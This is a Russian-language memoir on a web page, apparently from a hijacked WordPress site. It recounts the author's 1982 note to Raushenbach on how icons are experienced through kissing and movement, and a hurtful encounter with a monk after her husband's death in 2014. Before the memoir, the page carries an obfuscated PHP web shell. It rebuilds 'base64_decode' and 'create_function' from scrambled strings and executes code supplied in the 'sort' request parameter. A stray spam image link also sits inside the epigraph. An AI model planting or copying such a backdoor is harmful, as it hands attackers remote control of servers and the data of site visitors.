nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

АДАМ В ОТКРЫТОМ КОСМОСЕ


                                      эпиграф
                                            I
АДАМ  F1  ( сорт  огурцов ) В  ОТКРЫТОМ  ГРУНТЕ
                             инструкция  по  выращиванию
                                          II
ХОТЬ  ВИДИТ  ОКО . . . ( да   мозг   неймёт )
                             известное http://buildmate.com.sg/wp-content/uploads/2015/12/Air-Ducting-Hose.jpg р а з у м е   то   ли   Крылова,  то  ли   Лафонтена

                                                                                     I

   У  нас  был  друг, этакий  " архивный  юноша "  с  банальным  средним  образованием   и  " статьёй "  в  военном  билете. Он мыкался  по  случайным  и  неслучайным  заработкам. " Неслучайными " –  была  его  работа  в  БАНе  (библиотеке  Академии наук), затем  –  в  традиционной  для диссидентов  кочегарке; а   " случайными "  были  его  " халтуры "  по написанию  для  студентов  Духовной  академии   к у р с о в ы х ,   д и п л о м о в    и   даже  одной   магистерской,   блестяще   "кем-то"   защищённой   и  ставшей   учебным   пособием   для   этого   высшего   учебного заведения.  Конечно,  я   была  свидетелем   написания   этих   работ;  а   то, как   здОрово   и   увлечённо друг   и   мой   муж  обсуждали "заказанные"  темы  –  так   это  просто  " песня ",  только  меня  упрашивали  не  проболтаться.

Так  вот, на  протяжении  нескольких  лет   мы  и  наши  друзья  имели  благодаря   работе  друга  в  БАНе   нелегальную возможность  перечитать  всю  запрещённую  в  советское  время религиозно-богословско-историческую  литературу,  большую  часть  которой   властями  было  повелено  просто-напросто   " с п и с а т ь "  –  но  не  в   смысле   " сделать  списки ", " переписать ", а   уничтожить !  Поэтому  друг  мог  себе позволить,  многое  нося   на   у т и л и з а ц и ю ,  вынесенное   не   возвращать.  И   мы читали-читали-читали . . .
      Был  такой  забавный  эпизод.
    " Клиент "  нашего  друга, "писавший"  магистерскую, принёс  своему  руководителю   " на  погляд "  очередную   порцию написанного. В очередной раз  профессор  изумился  обилию    материала,  ему  представленного. И  на  вопрос: " Что  за  источник ? Это  же редкие  книги ! " –  метящий  в  магистры простодушно ответил: " А-а-а … это    ф а к с и м а л ь н о е    издание . . ." . . . Наш друг   давным -давно  уже  за  границей,  поскольку  при   всей   своей   гениальности   он   по   документам  никуда  при  всём  своём желании  не  мог   пристроиться соответственно  этой   гениальности,  кроме  как  носильщиком  в  библиотеке  и  кочегаром в   кочегарке.
     Конечно  же,  у  нас  в  обиходе  оказались  и  " Мнимости  в  геометрии "  П.Флоренского.  Конечно  же,  я  понесла  их  папе,  чтобы  он  мне  их  разжевал  и  в  рот  положил. Но  папа  к тому  времени  уже  махнул  на  меня  своей  " математической "  рукой  и  даже  шарахнулся  от  этой  брошюрки  как  от  диссидентской  литературы.
     " Шли  годы,  бурь  порыв  мятежный ".  Настал  1982 год,  как  сейчас  помню,  первое  апреля.
     Накануне   в  " Ленинградской  правде ",  любимой  газете  ленинградцев,  все прочитали  маленькую  заметку,  что  в  Военно-медицинской  академии  собираются  на  юбилейное  отмечание  выпускники  1932  года. Там  были  перечислены  маршалы  и генералы,  среди  которых  был  и  отец  моего  мужа, Здравко  Васильевич  Мицов.
           Меня  стали  одолевать  наши  с  мужем  знакомые,  чтобы  я  " достала "  никогда  сыном не  виденного  папочку  на  предмет " опознания "  сына.  Особенно  усердствовала  жена  моего  папы  ( о  которой  я  немного  написала  в  предыдущей  мемории ) : " Валя,  ты  должна …  должна… должна …"
          А  и  в  самом  деле ,  папина  жена  меня  всё-таки  здорово   в д о х н о в и л а,  и   моя встреча  с  випперсоной  Болгарии  состоялась,   но  это   о с о б а я   история,  на  " потом ". . .
          А  сейчас  я  этим  хочу  подчеркнуть,  что   первого  апреля  я   была  в   активном   " размышлятельном "  состоянии,  как  мне  поступать  в  абсолютно  нестандартных  ситуациях.
          Моему  мужу,  однако, известие  о  его  папе   было  " по  барабану" .   Утром,  уходя  на  работу  в  музей,  он  мне  сказал: " Слушай,  сегодня  в   Русском  музее  будет лекция  Раушенбаха   по   его  последней  книге  о геометрическом  пространстве  иконы. Сходи. Можешь  Надю  ( жену  друга-художника )  взять  с  собой.  Идите  в конференц-зал,  вас   пропустят."  Ну  мы  с  Надей  и пошли.
          Мы  даже  не  опоздали, пришли,  сели.  Сотрудники,  как  мышки,   привычно  там  и  сям  тоже, " рассеиваясь ", расселись,  придя   кто   из  вежливости,  кто  используя   возможность отвлечься  в  рабочее  время.  Привычно  встал  за  кафедрой  с  микрофоном  и  Борис  Викторович,  сразу –   по-деловому –  начал  гуманитариев   просвещать.
          Я,  слушая  его,  заставляла  себя  отвлечься  от  размышлений  о  неведомом  отце  моего  мужа   и  от  тупика,  в  который  муж  сам  себя  загнал,  клюнув  на  провокацию  моей  мамочки  и  подравшись  ( в  голом  виде !)   с  соседом  по  лестничной  площадке, отчего  осчастливленный  сосед  стал  грозить  уголовной  статьёй  . . .
         Но   при   попытке  погрузиться   в  мир  представлений  выдающегося  учёного ( зачем  я  на  лекцию  и  заявилась)  меня  стали  злить  и  угнетать  понятные  ассоциации   с  моим  папой . . . От  всей  этой  мне  привычной    математической  непонятности   и   п о т у с т о р о н н о с т и   происходящего  я  стала  ещё  больше  унывать.
         И  повелела   я  себе  не  раскисать,  а  начать  действовать.  Прямо  сейчас.  Раз  всё  против   меня  –  значит,  я    против   всего,  вот  простая  " геометрия ".  А   время  лекции  к  моменту  моей  решимости   перевалило  через  середину.
         Я   обратилась  направо  и  налево  к  присутствующим  –  и  кто-то  мне  в  ответ  на  мою  просьбу   выдал  лист  " А – 4 ".  Я  раздобыла  ручку  и  начала  писать. Моя  приятельница  стала  потихоньку  наматывать  подол  моей  юбки  на  свою  ладонь. Я  ей  шепнула: " Ну  что,  мне  вылезти  из  юбки ? – это  у  нас  семейное ! "
         Я  написала  такую  простую вещь:  мол   докладчик  рассматривает  пространство  иконы   исключительно  из   статичной позиции  наблюдателя.  А   неукоснительное  правило  п р а в о с л а в н о г о   поведения  в  церкви  –  " прикладывание "  к    иконе,  то   есть   её   целование.  Движущийся   по   церковному   пространству   верующий    подходит   к    иконе, по-особенному сосредотачиваясь  ( что  и  есть религиозное   чувство ), мысленно  концентрируясь,  творит   крестное  знамение,  приближается  – с  просчитываемой  скоростью  –  для соприкосновения   губами   с   и з о б р а ж е н и е м ,  а   на  определённом  расстоянии  от   плоскости  изображения   человек  невольно,  рефлекторно   их    з а к р ы в а е т    и   прикасается  губами  к   и к о н е.  Далее   с   вполне  определяемой,  повторяю,  скоростью   отходит  в  прежнее положение,  открывает   глаза.  Глаза –  это  оптический   инструмент.  П р и    д в и ж е н и и     всем   корпусом   запечатлённое  в   мозгу  изображение  то  "размывается",  то   снова  фокусируется. Дорогой  докладчик,  ваш   метод    с т а ц и о н а р н о й    зрительской  позиции   в    к о р н е   неправилен !  Мало того.  Как  и   изображения  на  фресках,  нарисованные  на  стенах,  древние  иконы ,  как  правило,  з а р а н е е   были предназначены  для  того  или   другого  их   места   расположения ,  то   есть  с   о б у с л о в л е н н ы м   освещением, которого   на северо-востоке  страны  всегда   недоставало.  Мало  того,  фактура   ( то  есть   дерево,  природные   краски)   продолжали   " привычный   образ  жизни "   и    " оживали "   при  постоянном   на    каждой   службе   перед   ними   каждения     древесного   происхождения    л а д а н о м    и    при   время  от  времени   опрыскивания   их   в   установленное  время   святой   в о д о й.  Дерево, повторяю, продолжало  жить  ( со  святой   в о д о й     и   благоуханным   в о з д у х о м,  а    не   в   " консервных   банках "  окладов   и  стёкол !),  изображение было  словно  его   к о р о й.   При   всём  этом   органическом   процессе   губы   и   нос   целующих   иконы получали   необходимую   органическую   информацию   именно   о    прекрасности   з е м н о г о,  Богом   сотворённого, органического   мира,  а    мозг  – не  изобразительное,  а   другого   рода  –  и   не   впечатление,  а   напрямую   духовный    опыт.   Это р е л и к т о в а я     в с т р я с к а   входящего   в    православный   храм,   это  –  ощущение   возвращения   в   эдемский   лес   с   деревьями   познания   ж и з н и,   а    также   и    Христовой   с м  е  р  т  и,  то   есть   всей   цивилизации   вкупе !
. . .    ( А   вы  не задумывались,  почему  даже верующие  люди  автоматически  стучат,  пусть  и  шутливо,  три  раза  по   дереву,  а   также,  полуотвернувшись, сплёвывают  ( а  это  –  как  бы антипоцелуй ),  чтобы   проговариваемое   н е     с г л а з и т ь ? ) . . .
            Этот    динамический   процесс   взаимоотношения   с   иконой   нужен   прежде   всего    для    в п и т ы в а н и я    этой     о р г а н и к и     с    д е т с т в а,  когда   на   первом   месте    н е    з р и т е л ь н ы е ,  а   тактильные  и    " нюхательные "   впечатления создают   б а з и с   д а л ь н е й ш е г о    развития.  Икона   же   сейчас   анализируется    в н е    православного   контекста,  но   как "полотно ",   картина,   чертёж.   А   закрытая   окладом  и   стеклом  –  это  вообще   б л а г о ч е с т и в а я     п р о ф а н а ц и я :  люди  бьются  об   них,  как   мухи,  неизбежно   видя  в  стекле,  как   в   зеркале,   с в о и    отражения;
      .. . ( вы   можете   лукавить   и   говорить,  что  прям  такие  
молитвенные,  что   не  видите  в   стекле   иконы   себя  и   интерьер   храма,  а    видите  и   поклоняетесь    и д е е,  воплощённой  в  изображении   на  плоскости   иконы.   А    эта   " идейность "   уже   основа   протестантизма !  А   подкорка-то   фиксирует   наложение  зеркально   отражаемого  на   изображение   внутри   ящика   застеклённого    киота   или,   как   часто    бывает,    просто    с л е п я щ и й    о т б л е с к    свечей,   люстр    и / или    дневных    окон !   А   то  – нет  ?? )
          . . .
Иконоборчество   давно   триумфально   одержало   хитрую   победу  по  принципу  " если    не   можешь   победить соперника  –  стань   его   другом, alter   ego " !    Какая   уж   тут     г е о м е т р и я ?   Целование   иконы   превратилось   из     развивательной   функции    в    чисто    э т и ч е с к и й,   формальный   знак   почтения.

Вместе  с  этим   уходит   и   традиция   целовать  при   акте   благословения   р у к у   священника,  образа   Христа,  как   многие  сами    мотивируют:  немытую,  недостойную   и    вообще  –  зачем ?  ( мой  муж,  кстати,  был  из  таких )

             Я  примерно  это  написала,  лекция   Бориса  Викторовича  подошла  к   концу,  и  он  традиционно  спросил : "  Какие  будут  вопросы ? "
        Народ   безмолствовал.
        Надя  не  смогла  меня  " удержать  за  фалды "  и   отпустила  мой  подол.  Я,  выбравшись  в  проход,  понесла  лист  " А – 4"   к  Раушенбаху.
       Он  приветливо  протянул  мне  микрофон, а  я  сознательно  невнятно  объяснила,  что  являюсь   тут   случайным  человеком  –  во  всяком  случае  протянутый  ему лист  говорил  сам  за  себя.  Я  повернулась  и  пошла   на  своё  место,  ни  на  кого  стараясь  не  смотреть.  Села  и  стала  смотреть  на  читающего  мой  "опус"  Раушенбаха. А   он   просто  зачитался:  читал  и  читал.  Я  даже  залюбовалась  этой  картиной !  Моё  естественное  смущение  от   присущего  мне   д е р з н о в е н и я   стало   проходить,  и  появилось  естественное  любопытство:  что   же   дальше-то   будет ?
            А  Раушенбах  наконец  " оторвал "  голову  от  моего  листка,  взял  микрофон.  Зал,  хоть  и  на  треть,  но  заполненный  специалистами,  неожиданно  ожил,  поднапрягся,  почуяв   интригу.
             Раушенбах ,  даже  держа  микрофон  в  руках,  не  сразу  заговорил,  и  вдруг:
        —  Очень  интересный  вопрос !  Но  самое  интересное   т о ,  что   я    н и к о г д а   об   этом  не   думал !

          А  вот  и  неправда !
          Я  сейчас, написав  это  моё  любимое  воспоминание, благодаря  фантастическим  возможностям  Интернета  пробежалась  по воспоминаниям  и  самого  Раушенбаха .
          Странно !  Искренность   т о й ,  поощряющей   меня   фразы  учёного,  не  вызывала  сомнения  –   ну  что   якобы  что  " о н     н и к о г д а    н е     з а д у м ы в а л с я "  над   мною  написанным.

         Однако  вот  отрывок  из  неформального  выступления  Раушенбаха  в  Уральском  университете  где-то  в   конце  девяностых годов.

            " Лет  тридцать  назад  –  сказал  Раушенбах,  – я  стал  заниматься  вопросами  изобразительного  искусства  вовсе  не  потому,  что  такой  умный.  Дело  было  проще.
   При  разработке  космического  корабля  режим  ручной   стыковки  затруднён   тем,  что  в  отличие  от  американских  летательных  аппаратов,  у  нас   н е т    о с т е к л е н и я   в п е р е д и.  Космонавт  не  видит   н и ч е г о.  Пользуется  перископом.  Объект  стыковки  виден  на  экране.  Возникает  проблема:  можно  ли  управлять  по  экрану ?
   Оказалось  –  нельзя !
   Первое,  что  пришло  в  голову:  экран  есть  повторение  сетчатки  глаза,  но   изображение   сильно  меняется   нашим  мозгом.  И я   попытался  описать  работу  мозга  при помощи  маленького  дифференциального  уравнения.  Оказалось,  возможно  описать картину,  которая  возникает  в  мозгу  человека,  когда  он  смотрит.  Можно  ли  эту картину  перенести  на  плоскость ?  Оказалось, поскольку  любое  изображение  содержит  неправильность, у  нас  будут  разрывы  изображения,   н а л о ж е н и я   одного   на другое.  В художественном  творчестве  это  недопустимо.

     Выяснилось,  что  количество  общих  перспектив  бесконечно  велико,  и  все  они  одинаково  обоснованны,  один  и  тот   же сюжет  можно  изобразить  совершенно  по-разному.  Но  они  будут  одинаково  правильные  с  точки  зрения  математики  и одинаково  неправильные,  потому  что  будут  содержать  ошибки. Но  ошибки  будут смещаться   с  одних  предметов  на  другие. Если  же  взять  сумму  ошибок,  то  она  останется  константной,  поэтому  нет  математически  оптимальной  перспективы.  Я  назвал это  " законом  сохранения  ошибок  в  изобразительном  искусстве".  Шутка,  конечно.  Это  ещё   одно  направление,  Оно  позволило объяснить  много  странных вещей  в  античном  искусстве,  в   средневековом,  вплоть  до   ХХ  века. "

   Заявленное  мной  в   записке  к  Раушенбаху   было  на   т у   ж е    тему,  которую  он  некогда  разрабатывал  для  координации космического  корабля :   г л а з   –  м о з г –  и з о б р а ж е н и е  –  д в и ж е н и е.  Только  в  другой  как  бы   т о н а л ь н о с т и.  И вот,  использовав   сейчас  слова  " другая   тональность ",  я   сообразила,  к а к    мне  объяснить   противоречие   в   признании   Раушенбаха,  повторяю,  что  якобы  он   н и к о г д а   не  задумывался  о   спрошенном  мною.

      Был  в   первой  половине  20  века  такой  великий  пианист   –   Иосиф  Гофман.  Вот  что  он  в  своей  книге " Фортепьянная  игра "  написал  об  утончённых  профессиональных  издержках  даровитых  людей,  чего  " обыкновенным "   людям   не  понять.

      " У  моего  отца  ( пианиста  и  дирижёра )  –  пишет  И.Гофман, –  был   а б с о л ю т н ы й   слух   замечательной  остроты,  исключительно,  так  сказать, тонкое  ухо:  он  часто   н е     м о г    у з н а т  ь     хорошо  знакомое   произведение,  если  оно  исполнялось   в    д р у г о й    т о н а л ь н о с т и   –   настолько   п о – и н о м у    оно   для   него   звучало . . .
          Обладание  этим  качеством,  которое  очень  многим   представляется  верным  признаком  музыкальной  гениальности,  оказывается  нередко   п о м е х о й    делу. "

    Только  так  я  могу  объяснить  задумчивость  Раушенбаха  над  моим  вопросом.  Да  к  тому  же  его  " природное "   л ю т е р а н с т в о,  где   вообще  игнорируется  то,  что  в православии  является  о с н о в о й ,  не  заинтриговало  учёного  для  очень  нужного   для   п р а в о с л а в н о г о,  динамического,  понимания  того  комплексного  явления  физической   и  метафизической  природ,  которое называется   и к о н о й.

     Скажу   про  л ю т е р а н с т в о,  в  которое  Раушенбах  с  детства  был  крещён ( а  он  уточнял,  что  это  было  даже гугеноство): я  косвенно  причастна  к  этой  ментальности, так  как  десятилетиями  сожительствовала  с  матерью  моего  мужа,  моей  свекровью,  эстонкой,  гордо  позиционировавшей   себя  ( до   переселения   её   к  нам  в   деревню  она  сладострастно  мне  заявляла: " Я  не  вашей  веры ! " )   лютеранкой.   И   Раушенбах,  и  моя  свекровь  умерли  православными.  Но,  напомню,  возвращаясь   к   только  что   мною  написанному:  я   описывала   событие  1982 ( ! )  года.

                                                                                                         I I

      И  вот  2014 год.  Муж  умер . . .   Прошло  несколько   д н е й  ,  точнее,  одиннадцать  дней  со  дня  его  ухода.  Наступил  праздник  Преображения  Господня.
      Служить  литургию  приехало  на  нескольких  машинах  целое   подворье,  что  в  двадцати  километрах  от  нас.  Мой   муж  был прекрасно   всем   известен.  Мало  того,  что  весть  о  его  кончине  сарафанным  радио  мгновенно  разлетелась  по  округе.  Я сразу   стала   пытаться  к   монахам  дозвониться , чтобы  помилосердствовали  и  прислали  мужиков  перетащить  тело  мужа  из дома  в  церковь, потому  что  сильных  мужиков  " как  таковых "  в   деревнях  не  осталось,  да  и  деревень  тоже. Не  дозвонившись, я попросила  знакомых  это  сделать.  Ноль  эффекта.
    И  вот   Преображение.  Ожидая  вхождения  во  храм  руководителя  предстоящей  литургии,  я   приготовилась,  чтоб, благословившись,  смиренно  выслушать  стандартные  человеческие  и  братские   с о б о л е з н о в а н и я    по  поводу произошедшего   несчастья   и   не  пенять   за   добрососедское   бойкотирование   смерти   моего   мужа.
    Молодой, в  два  раза  младше  меня,  высокий,  статный   руководитель ( Иона )  не  вошёл  –   вплыл  в   церковь.  Я   к   нему: " Благословите ! "  . . .
    То,  что  надо  мной, согбенной,  было  произнесено  с   высоты  его   высоты,  я ,  наивно  ожидавшая   соболезнования,  попросту  не  расслышала:  какие-то   странные   слова,  какая-то  странная   интонация . . .  Я  рефлекторно  спросила: " Что,  что ?"   И  услышала   раздражённое:
  —  А   вы   с т ё к л а   п р о т ё р л и ?
    Я  растерялась   от  неожиданности:  какие  стёкла,  где ? А  далее  снова  прозвучала   грозная,  заранее   з а г о т о в л е н н а я    интонация:
 —  Я  сто  раз  должен  повторять ?  Вы  стёкла  протёрли ?
 —  Да – а – а,  протё-о-о-рла-а !  –  Ненавидя  себя  за  невольно  подобострастный  ответ,  завопила   я.
     Довольный   же  собой  " ледокол "  поплыл   себе   дальше,  вперёд,  в   алтарь.   Бессмысленно    бороздить   бескрайние  просторы   вечной   жизни . . . . . .
             
                                   +
     петр  иоанн  андрей
филипп  фома  варфоломей
             два иакова   матфей
иуда яковль, т.е. ф а д д е й
зилота симон   и    матфИй


Добавить комментарий